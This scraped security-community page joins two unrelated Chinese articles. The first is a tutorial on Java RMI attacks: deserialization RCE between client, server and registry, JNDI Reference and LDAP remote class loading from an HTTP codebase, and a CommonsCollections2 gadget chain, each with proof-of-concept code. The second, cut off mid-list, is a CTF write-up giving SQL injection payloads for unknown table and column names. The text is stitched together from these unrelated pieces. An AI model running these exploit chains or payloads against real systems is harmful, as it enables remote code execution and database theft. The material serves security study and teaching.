此时一个正常的远程方法调用环境就搭建好了，按理说这种情况下是没有什么反序列化漏洞的，但是如果说服务端的项目中存在一些已知的存在问题的类，例如Apache
Common Collection。我们来模拟一下当服务端存在有存在反序列化问题的类时的情况。
package com.rmitest.weakclass;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Weakness implements Serializable {
private static final long serialVersionUID = 7439581476576889858L;
private String param;
public void setParam(String param) {
this.param = param;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.param);
}
}
这里的Weakness类只是用来模拟一个在反序列化是会进行高危操作的一个类，比起用Apache Common Collection会现显得更加直观。
同样我们客户端如果想要利用这个类来对服务端进行反序列化攻击的话，那么客户端自然也需要存在这个类。所以拷贝一份到客户端，我们之前分析源码的时候看到了，服务端会反序列化客户端传来的需要远程方法处理的参数，这就是我们的攻击点，
this.unmarshalCustomCallData(var41);
//从 ConnectionInputStream里反序列化出远程调用的参数
//这里就是客户端可以用来攻击服务端的点，因为这里对远程调用方法的参数进行了反序列化，由此我们可以传递 恶意的反序列化数据进来
var9 = this.unmarshalParameters(var1, var42, var7);
我们根据项目的源码可以看到，这里传递的参数类型是一个Person类型，Person这个类型本身是没有问题的，那我们要怎么实现让服务端反序列化Person类时能调用Weakness类呢？
其实很简单，我们只需要将客户端这边的Weakness类修改一下就可以了，我们让Weakness继承PerSon类就可以实现这个效果了，继承了PerSon之后我们的Weakness类就是Person类型的了，这样传递的时候Weakness类就可以被当作Person类来进行传递，表面上传递的是Person类型的参数，可实际上传递的参数确是Weakness类。
public class Weakness extends Person implements Serializable {
private static final long serialVersionUID = 7439581476576889858L;
private String param;
public void setParam(String param) {
this.param = param;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.param);
}
}
看一下客户端这边的实现
package com.rmitest.customer;
import com.rmitest.inter.IHello;
import com.rmitest.weakclass.Weakness;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class RMICustomer {
public static void main(String[] args) throws RemoteException, NotBoundException {
IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("Hello");
Weakness weakness = new Weakness();
weakness.setParam("open /Applications/Calculator.app");
weakness.setName("hack");
System.out.println(hello.sayHello(weakness));
}
}
可以看成功将Weakness类作为参数进行传递，我们之前说过，服务端在处理客户端传来的远程调用信息时，是会调用UnicastServerRef.dispatch()方法的，会反序列化其中的参数
看一下调用链即可知
protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
//最终在参数在 unmarshalValue 的var1.readObject()中被反序列化
return var1.readObject();
}
}
至此 我们实在jdk1.7_21的版本下以客户端的身份去成功攻击了服务端。
## 服务端攻击客户端
分析完了客户端对服务端的攻击，我们来看一下
服务端对客户端的攻击，根据第二章RMI流程源码分析我们看到了，服务端如果想要攻击客户端，那么利用点就存在客户端反序列话服务端的返回值的时候。这时候需要将环境稍微修改一下。
其实很简单，先修改服务端的代码，我们将IHello接口中sayHello方法需要的参数删除，然后将返回值类型由String修改成Person类型。
package com.rmitest.inter;
import com.rmitest.impl.Person;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
public Person sayHello()throws RemoteException;
}
HelloImpl也根据接口的要求进行修改
package com.rmitest.impl;
import com.rmitest.inter.IHello;
import com.rmitest.weakclass.Weakness;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements IHello {
public HelloImpl() throws RemoteException {
}
@Override
public Person sayHello() {
Weakness weakness = new Weakness();
weakness.setParam("open /Applications/Calculator.app");
weakness.setName("hack");
return weakness;
}
}
同客户端攻击服务端时一样，只不过这次变成了服务端这边的Weakness类需要继承Person类了。
然后客户端这边就修改完毕。
然后我们来修改rmiregistry这边的代码，同样先修改IHello接口，然后我们需要将Person类拷贝到rmiregistry这边，不过一般在生产环境中，rmiregistry和服务端一般都是在同一台机器统一个项目文件里，所以服务端可以访问的类rmiregistry同样也可以。
紧接着就是就该客户端这边的代码，同理Weakness类不再继承Person
public class RMICustomer {
public static void main(String[] args) throws RemoteException, NotBoundException {
IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("Hello");
Person person = hello.sayHello();
}
}
如此一来就可以实现通过服务端去攻击客户端
根据之前的分析客户端在远程方法的调用过程中会在UnicastRef.invoke方法中对服务端返回的数据进行反序列化，看一下调用链
如此一来服务端通过RMI攻击客户端的方式也就清晰了。
## 服务端攻击客户端 2
上一小节讲述的服务端攻击客户端的方式是通过返回值来进行操作的，这样的话利用面比较狭窄，那么有没有一种特别通用的利用方式呢？让客户端在lookup一个远程方法的时候能直接造成RCE，事实证明是有的。
这里就要讲到一个特别的类`javax.naming.Reference`，下面是该类的官方注释
/**
* This class represents a reference to an object that is found outside of
* the naming/directory system.
*<p>
* Reference provides a way of recording address information about
* objects which themselves are not directly bound to the naming/directory system.
*<p>
* A Reference consists of an ordered list of addresses and class information
* about the object being referenced.
* Each address in the list identifies a communications endpoint
* for the same conceptual object. The "communications endpoint"
* is information that indicates how to contact the object. It could
* be, for example, a network address, a location in memory on the
* local machine, another process on the same machine, etc.
* The order of the addresses in the list may be of significance
* to object factories that interpret the reference.
*<p>
* Multiple addresses may arise for
* various reasons, such as replication or the object offering interfaces
* over more than one communication mechanism. The addresses are indexed
* starting with zero.
*<p>
* A Reference also contains information to assist in creating an instance
* of the object to which this Reference refers. It contains the class name
* of that object, and the class name and location of the factory to be used
* to create the object.
* The class factory location is a space-separated list of URLs representing
* the class path used to load the factory. When the factory class (or
* any class or resource upon which it depends) needs to be loaded,
* each URL is used (in order) to attempt to load the class.
*<p>
* A Reference instance is not synchronized against concurrent access by multiple
* threads. Threads that need to access a single Reference concurrently should
* synchronize amongst themselves and provide the necessary locking.
*
* @author Rosanna Lee
* @author Scott Seligman
*
* @see RefAddr
* @see StringRefAddr
* @see BinaryRefAddr
* @since 1.3
*/
简单解释下该类的作用就是记录一个远程对象的位置，然后服务端将实例化好的`Reference`类通过bind方法注册到rmiregistry上，然后客户端通过rmiregistry返回的Stub信息找到服务端并调用该`Reference`对象，`Reference`对象通过URLClassloader将记录在`Reference`对象中的Class从远程地址上加载到本地，从而触发恶意类中的静态代码块，导致RCE
我们使用JDK 7u21作为环境来进行该利用方式的深入分析
首先看下服务端的代码
public class RMIProvider {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
//TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
//尝试使用JNDI的API来bind，但是会报错
// Context context = new InitialContext();
// context.bind("refObj", refObjWrapper);
Registry registry = LocateRegistry.getRegistry(1099);
registry.bind("refObj", refObjWrapper);
}
}
可以看到在实例化`Reference`对象的时候会传递三个参数进去，这三个参数分别是
className
包含此引用所引用的对象的类的全限定名。(ps: 就是恶意类的类名或者全限定类名，经过测试该参数不是必须，为空也行，关键在于第二个参数
也就是classFactory)
classFactory
包含用于创建此引用所引用的对象的实例的工厂类的名称。初始化为零。(ps: 第二个参数很重要 一定要写恶意类的全限定类名)
classFactoryLocation
包含工厂类的位置。初始化为零。(ps: 也就是恶意类存放的远程地址)
接下来就来跟入源码看一看
public Reference(String className) {
this.className = className;
addrs = new Vector();
}
........
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
实例化Reference期间就只进行以上这些操作
实例化ReferenceWrapper的时候同样只进行了简单的赋值操作
public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
this.wrappee = var1;
}
接下来就是通过调用bind方法来将`ReferenceWrapper`对象注册到rmiregistry中。客户端bind
`Reference`过程结束接下来看rmiregistry这边
这里呢因为 jdk7u21 和 jdk 8u20两个版本在调试的时候无法在`RegistryImpl_Skel`的`dispatch`方法上拦截断点所以
暂时采用jdk 8u221版本来进行演示
同绑定一个正常的远程对像的差别不大只不过绑定一个正常的远程对象的时候，rmiregistry反序列化服务端传递来的结果是这样的
而绑定`Reference`的时候rmiregistry反序列化服务端传递来的结果是这样的
接下来来看客户端调用`Reference`这个远程对象的过程，客户端的代码演示环境为jdk 8u20
首先看下客户端的代码
public class RMICustomer {
public static void main(String[] args) throws NamingException {
//使用JNDI的方式来lookup远程对象
new InitialContext().lookup("rmi://127.0.0.1:1099/refObj");
}
}
其实jndi的`InitialContext().lookup()`
底层和rmi自己的`LocateRegistry.getRegistry().lookup()`一样都是调用了`RegistryImpl_Stub.lookup()`方法但是jndi在此基础上又做了自己的封装，例如在处理rmiregistry返回的`ReferenceWrapper_stub`对象时，二者的处理方式就不相同。
rmi无法处理`ReferenceWrapper_stub`对象，而jndi在接收了rmiregistry返回的`ReferenceWrapper_stub`对象后，结束当前lookup方法，在其上一层的lookup方法中也就是`RegistryContext.lookup()`方法里会对返回的`ReferenceWrapper_stub`进行处理
来观察下`RegistryContext.lookup()`方法的具体内容
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
//调用RegistryImpl_Stub.lookup()方法
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
//反序列化的ReferenceWrapper_stub对象在该方法中被处理
return this.decodeObject(var2, var1.getPrefix(1));
}
}
接下来再跟进`decodeObject()`方法之后
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
//判断返回的ReferenceWrapper_stub是否是RemoteReference的子类，结果为真，返回ReferenceWrapper_stub中的Reference对象
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
//接着对Reference对象进行操作
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
`NamingManager.getObjectInstance()`方法就是处理Reference对像并导致RCE的关键了
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
......
//判断并接收Reference对象
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
// 这里会将Reference对象传入并且同时传入全限定类名
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
根据观察`NamingManager.getObjectInstance()`方法的内部实现，关键代码在于这一段 `factory =
getObjectFactoryFromReference(ref, f);`
跟进`getObjectFactoryFromReference`方法，
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
//首先会尝试使用AppClassloder从本地加载恶意类，当然肯定是失败的
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
//获取codebase地址
(codebase = ref.getFactoryClassLocation()) != null) {
try {
//该方法内会实例化一个URlClassloader 并从codebase中的地址中的位置去请求并加载恶意类
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
可以看到真正负责从远程地址加载恶意类的是第二次的`helper.loadClass(factoryName, codebase)`
该方法的具体实现如下
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
//获取当前上下文的Classloader 也就是AppClassloader
ClassLoader parent = getContextClassLoader();
//实例化一个URLClassloader
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
//去远程加载恶意类
return loadClass(className, cl);
}
这就是服务端攻击客户端的另一种方式，虽然本质上还是有rmi去访问rmiregistry获取的`Reference`对象，但是由于JNDI对rmi进行了又一次的封装导致两者对Reference对象的处理不一样，所以客户端只有在使用JNDI提供的方法去访问rmiregistry获取的`Reference`对象时才会触发RCE。
这个方法看上去好像很通用，在jdk 8u121版本之前确实如此，但是在jdk 8u121版本以及之后的版本中，此方法默认情况下就不再可用了，因为从jdk
8u121版本开始
增加了对`com.sun.jndi.rmi.object.trustURLCodebase`的值的校验，而该值默认为false，所以默认情况下想要通过`Reference`对象来远程加载恶意类的想法是行不通了，
我们来看一下jdk 8u121版本究竟为了防止远程加载恶意类做了哪些改动
首先在还没有通过rmi去到rmiregistry获取`Reference`对象之前，在`RegistryContext`这个类被加载的时候就执行了以下的静态代码
```java? static { PrivilegedAction var0 = () -> { return
System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false"); };
String var1 = (String)AccessController.doPrivileged(var0); trustURLCodebase =
"true".equalsIgnoreCase(var1); }
可以看到这里获取了`com.sun.jndi.rmi.object.trustURLCodebase`默认值为false
然后当执行进`decodeObject()`方法，并且准备执行`NamingManager.getObjectInstance()`方法之前多了以下判断
```java
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
就是判断了`com.sun.jndi.rmi.object.trustURLCodebase`的值，由于该值为false所以就会跑出异常中止执行
想要jdk 8u121版本能够正常远程加载就去要加上以下代码
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
这样就能又正常的RCE了
但是在JDK
8u191及以后的版本中客户端lookup以前加上上面的代码之后，从新执行会发现不报错了，但是仍然无法RCE，这是为什么呢，我们继续跟着源码往下看
在通过了`RegistryContext`中对`com.sun.jndi.rmi.object.trustURLCodebase`的判断并执行了NamingManager.getObjectInstance()方法之后，一路正常执行来到了关键的实例化URLClassloader并远程加载恶意类的最后一步，然后你就会发现这里变了
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
//此处有增加了一个对trustURLCodebase属性的一个判断，这个trustURLCodebase属性和RegistryContext类
//中的trustURLCodebase属性完全不同
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
} else {
return null;
}
}
我们来看下这个trustURLCodebase的值究竟是怎么获取的
private static final String TRUST_URL_CODEBASE_PROPERTY =
"com.sun.jndi.ldap.object.trustURLCodebase";
private static final String trustURLCodebase =
AccessController.doPrivileged(
new PrivilegedAction<String>() {
public String run() {
try {
return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
"false");
} catch (SecurityException e) {
return "false";
}
}
}
);
这次获取的是一个名称为`TRUST_URL_CODEBASE_PROPERTY`的属性值，也就是说我们需要将该值也设置为true才行
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//至于这个com.sun.jndi.ldap.object.trustURLCodebase这个属性会在后续的JNDI Reference的LDAP攻击响亮中讲到。
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
也就是说 在jdk 8u191及其以后的版本中如果想让 JNDI Reference rmi攻击向量成功RCE的话
目标服务器就必须在lookup之前加上以上两行代码
由此可见在jdk 8u191及其以后的版本中通过这种方式来进行RCE攻击几乎不可能实现了。
## 服务端攻击客户端 3
在上一小节中通过使用JNDI 的Reference rmi攻击向量进行RCE攻击，根据网络上大佬们提供的思路，除了使用rmi攻击向量以外还可以使用JNDI
Ldap向量来进行攻击
话不多说直接上源码，首先先看下Ldap服务端源码
public class LDAPSeriServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
//这里的代码只是在内存中模拟了一个ldap服务，本机上并不存在一个ldap数据库所以程序结束后这些就都消失了
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
//向ldap服务中添加数据条目，具体ldap条目相关细节可以去学习ldap相关知识，这里就不做详细讲解了
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
以上的代码呢就是在本地起了一个ldap服务监听1389端口，并向其中添加了一条可被查询的条目。单起一个ldap服务肯定是不够的，既然是ldap
RCE攻击向量，那就肯定要添加一些东西让 客户端在通过JNDI查询该Ldap的条目之后转而去指定的服务器上加载恶意类。
所以需要向该条目中添加一些属性，根据知道创宇404实验室的Longofo大佬的文章
public class LDAPServer1 {
public static void main(String[] args) throws NamingException, RemoteException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
Attribute mod1 = new BasicAttribute("objectClass", "top");
mod1.add("javaNamingReference");
Attribute mod2 = new BasicAttribute("javaCodebase",
"http://127.0.0.1:8000/");
Attribute mod3 = new BasicAttribute("javaClassName",
"ExportObject");
Attribute mod4 = new BasicAttribute("javaFactory", "com.longofo.remoteclass.ExportObject");
ModificationItem[] mods = new ModificationItem[]{
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1),
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2),
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3),
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod4)
};
ctx.modifyAttributes("uid=longofo,ou=employees,dc=example,dc=com", mods);
}
}
这里是向之前创建好的ldap索引中添加一些属性，客户端在向服务端查询该条索引，服务端返回查询结果，客户端根据服务端的返回结果然后去指定位置查找并加载恶意类，这就是ldap攻击向量一次RCE攻击的流程。
这里我们就要具体关注下JNDI客户端是如何在访问Ldap服务的时候被RCE的
首先客户端代码
public class LDAPClient1 {
public static void main(String[] args) throws NamingException {
Context ctx = new InitialContext();
Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
}
}
lookup函数开始一直往下执行，执行到LdapCtx.c_lookup方法时，发送查询信息到服务端并解析服务端的返回数据
protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
Object var3 = null;
Object var4;
try {
SearchControls var22 = new SearchControls();
var22.setSearchScope(0);
var22.setReturningAttributes((String[])null);
var22.setReturningObjFlag(true);
//此处客户端向服务端进行查询并获得查询结果
LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
this.respCtls = var23.resControls;
if (var23.status != 0) {
this.processReturnCode(var23, var1);
}
if (var23.entries != null && var23.entries.size() == 1) {
LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
var4 = var25.attributes;
Vector var8 = var25.respCtls;
if (var8 != null) {
appendVector(this.respCtls, var8);
}
} else {
var4 = new BasicAttributes(true);
}
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
//将查询的结果，也就是我们在server端所添加的那几条属性进行解析，并返回一个Reference对象
var3 = Obj.decodeObject((Attributes)var4);
}
......
try {
//此后的操作就和rmi Reference一样的通过实例化URLClassloader对像，根据Reference中的信息去远程加载恶意类
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
......
}
关键点在于`var3 = Obj.decodeObject((Attributes)var4)`这行代码解析完成后所返回的结果，如下图所示。
然后在`DirectoryManager.getObjectInstance(var3, var1, this, this.envprops,
(Attributes)var4)`这行代码中根据Reference中的信息 实例化URLClassloader去远程加载恶意类。
这种方法一直到jdk 8u191之前的版本都是可用的，但是在之后的版本中同 JNDI rmi
Reference一样，添加了对`com.sun.jndi.ldap.object.trustURLCodebase`属性的校验，该值默认为false
## 服务端攻击rmiregistry
接下来我们就要讲通过服务端来攻击rmiregistry了，和客户端服务端互相攻击的方式比起来相对复杂那么一些，确切的说是通过伪造一个服务端的形式，因为之前说这rmiregistry通常都和真正的服务端出在同一个主机，同一个项目上，根据我们之前对RMI流程的分析，服务端在通过bind方法向rmiregistry绑定远程方法信息时，rmiregistry会反序列化服务端传来的数据，在rmiregistry方处理服务端传来的数据时会调用RegistryImpl_Skel的dispatch方法，其中会反序列化服务端传来的两个信息，一个是远程方法提供服务的注册名，另一个是封装有远程方法提供服务方信息的Proxy对象。
//获取输入流
var9 = var2.getInputStream();
//反序列化“hello”字符串
var7 = (String)var9.readObject();
//这个位置本来是属于反序列化出来的“HelloImpl”对象的，但是最终结果得到的是一个Proxy对像
//这个很关键，这个Proxy对象即所为的Stub(存根)，客户端就是通过这个Stub来知道服务端的地址和端口号从 而进行通信的。
//这里的反序列化点很明显是我们可以利用的，通过RMI服务端执行bind，我们就可以攻击rmiregistry注 册中心，导致其反序列化RCE
var80 = (Remote)var9.readObject();
第一个String类型的数据反序列化我们没有利用的思路，因为String是一个final类型，没办法继承和实现，我们入手的点就只能是下面的那个 `var80
=
(Remote)var9.readObject();`之前分析RMI流程代码时有一个点没有提到，就是bind方法在序列化一个远程对象时会将转化成一个proxy对象然后再进行序列化操作并传输给rmiregistry，序列化的proxy对像默认是实现Remot接口并封装RemoteObjectInvocationHandler的，但是如果传递的远程对象本身就是Proxy则不会进行任何转化直接传递，由MarshalOutputStream对象的replaceObject方法来实现具体操作，代码如下。
protected final Object replaceObject(Object var1) throws IOException {
if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
Target var2 = ObjectTable.getTarget((Remote)var1);//生成一个Target对象，其中有一个stub属性就是转化好的Proxy对象
if (var2 != null) {
return var2.getStub();//返回Proxy对象
}
}
return var1;
}
那么这样以来，似乎攻击的思路就突然清晰了，我们只需要找一个rmiregistry中可以利用的Gadget然后，ysoserial中的RMIRegistryExploit就是针对使用了版本低于JDK8u121的rmiregistry进行反序列化攻击的一个工具。
此次的测试环境是jdk1.7_21，采用CommonCollection2作为payload来进行尝试和分析。由于CommonCollection2封装的过程中用到了
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
所以在rmiregistry这边将commons-collections4引入
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
然后展示一下服务端这边最终封装完后的一个Proxy，服务端将这个Proxy序列化后
传递给rmiregistry，然后rmiregistry反序列化该数据从而出发漏洞执行命令
最终的调用链简化一下，如下所示
AnnotationInvocationHandler.readObject()
HashMap.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
Runtime.exec()
具体的反序列化过程就不做分析了
但是要注意一点就是jdk 8u121版本以后，在rmiregistry创建时不是有这么一段代码么 `this.setup(new
UnicastServerRef(var2, RegistryImpl::registryFilter));`
传入了`RegistryImpl::registryFilter`作为参数，所以在rmiregistry这边反序列化服务端传递来的Proxy对象时，是会进行对象的白名单校验的，只有以下对象才能进行反序列化
String.class != var2
&& !Number.class.isAssignableFrom(var2)
&& !Remote.class.isAssignableFrom(var2)
&& !Proxy.class.isAssignableFrom(var2)
&& !UnicastRef.class.isAssignableFrom(var2)
&& !RMIClientSocketFactory.class.isAssignableFrom(var2)
&& !RMIServerSocketFactory.class.isAssignableFrom(var2)
&& !ActivationID.class.isAssignableFrom(var2)
&& !UID.class.isAssignableFrom(var2)
但是我们在构造恶意类的时候使用的是CommonCollection2，registryFilter在反序列化完最外面的proxy对象后第二要要反序列化的就是AnnotationInvocationHandler，而AnnotationInvocationHandler根本就不在上面的白名单里所以自然会抛出异常
ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler
这个白名单过滤机制也就是所谓的 JEP290,
就是可以通过实现ObjectInputFilter这么一个函数式接口的方式来自定义自己想要过滤的类，在使用了该机制以后，ysoserial中所有的gadget几乎都不可用了,需要想办法绕过这个白名单才行。
## 总结
在以上的讲解中，我们分析了
RMI客户端，服务端以及rmiregistry之间的关系，也对三方之间的多种攻击方式进行了详细的介绍，希望大家在看完文章后可以自己在跟随文章的步骤，手动调试一下这个过程，这样可以加深大家对RMI，JRMP，以及JNDI的理解。
## 参考链接
<https://xz.aliyun.com/t/7079>
<https://xz.aliyun.com/t/7264>
<https://paper.seebug.org/1091/>
* * * | 社区文章 |
# 从qwb重新学习sql和SSTI
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、知识点
### 1.sql注入无列名和表名
### 2.tornado的SSTI
## 二、解题
### 1\. sql注入无列名和表名
这里总结一下几个常用的思路.下面先放一下表的结构
(1). 硬做(union注入)
payload：
select c from (select 1 as a, 1 as b, 1 as c union select * from test)x limit 1 offset 1
select `3` from(select 1,2,3 union select * from admin)a limit 1,1
//无逗号，有join版本 核心就是union
select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from test)x;
这是有逗号的情况，就是一个简单的重新取名。
假如没有逗号了。使用join来构造一个虚拟表头
盲注
((SELECT 1,concat('{result+chr(mid)}', cast("0" as JSON)))<(SELECT * FROM `this_fake_flag`))//ascii偏移
要求后面select的结果必须是一行。mysql中对char型大小写是不敏感的，盲注的时候要么可以使用`hex`或者`binary`
这里只能使用`concat`将字符型和binary拼接，使之大小写敏感，`JSON`也可以使用`char byte`代替
(2)报错注入
一般是sql语句查询的时候，出现了相同的列名
`select * from(select * from table1 a join (select * from table1)b)c`
CISCN2021的初赛原题罢了
获取列名
select * from(select * from table1 a join (select * from table1)b)c
using() 可以把其中已经爆出来的列名的影响取消
all select * from (select * from users as a join users as b)as c--+
all select*from (select * from users as a join users b using(id,username))c--+
all select*from (select * from users as a join users b using(id,username,password))c--+
(3)查询之前的记录
innodb：
select table_name from mysql.innodb_table_stats where database_name = database();
select table_name from mysql.innodb_index_stats where database_name = database();
sys：
//包含in
SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database();
SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
//不包含in
SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
//通过表文件的存储路径获取表名
这个很常用
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
//查询记录
SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
performance_schema：
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();
//包含之前查询记录的表
SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();
//包含表文件路径的表
